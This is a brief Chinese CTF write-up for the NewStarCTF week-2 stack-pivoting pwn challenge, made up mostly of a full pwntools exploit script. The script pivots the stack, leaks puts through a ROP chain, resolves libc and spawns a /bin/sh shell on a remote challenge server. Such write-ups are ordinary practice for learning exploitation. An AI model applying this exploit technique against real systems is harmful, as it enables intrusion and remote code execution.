NEWSTAR 的栈迁移

stack_migration–NewStarCTF(WEEK2)

只开了NX，题目里给了栈的地址

总之，就是栈迁移啊栈迁移，还得迁移两次，还得用ret2libc。

最后看了官方WP，发现栈迁移一次就行了，libc是可以被带出来的。（不过也就当复健了一下两次的栈迁移。）

exp：

from pwn import*
context(log_level='debug',arch='amd64',os='linux')
#p=process('./pwn')
p=remote('node4.buuoj.cn',25806)
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda   :p.recvline()
main_addr =0x4011FB
leave_ret = 0x4012AA
pop_ret=0x000000000040101a
pop_rdi = 0x0000000000401333
puts_plt = 0x401070
puts_got = 0x404018
sl('aaaa')
rl()
rl()
rl()
rl()
a=rl()
print(a)
b=a[29:43]
print(b)
stack_addr = int(b,16)
#print(hex(stack_addr))
#gdb.attach(p)

payload = p64(0)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)+b'A'*(0x28)+p64(stack_addr+8)+p64(leave_ret)
sd(payload)

puts_addr = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./alibc.so.6')
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base +next(libc.search(b'/bin/sh'))
sl('aaaa')
rl()
rl()
rl()
#gdb.attach(p)
payload = p64(0)+p64(pop_rdi)+p64(bin_sh)+p64(pop_ret)+p64(system_addr)+p64(main_addr)+b'A'*(0x20)+p64(stack_addr+8-0x30)+p64(leave_ret)
sd(payload)
p.interactive()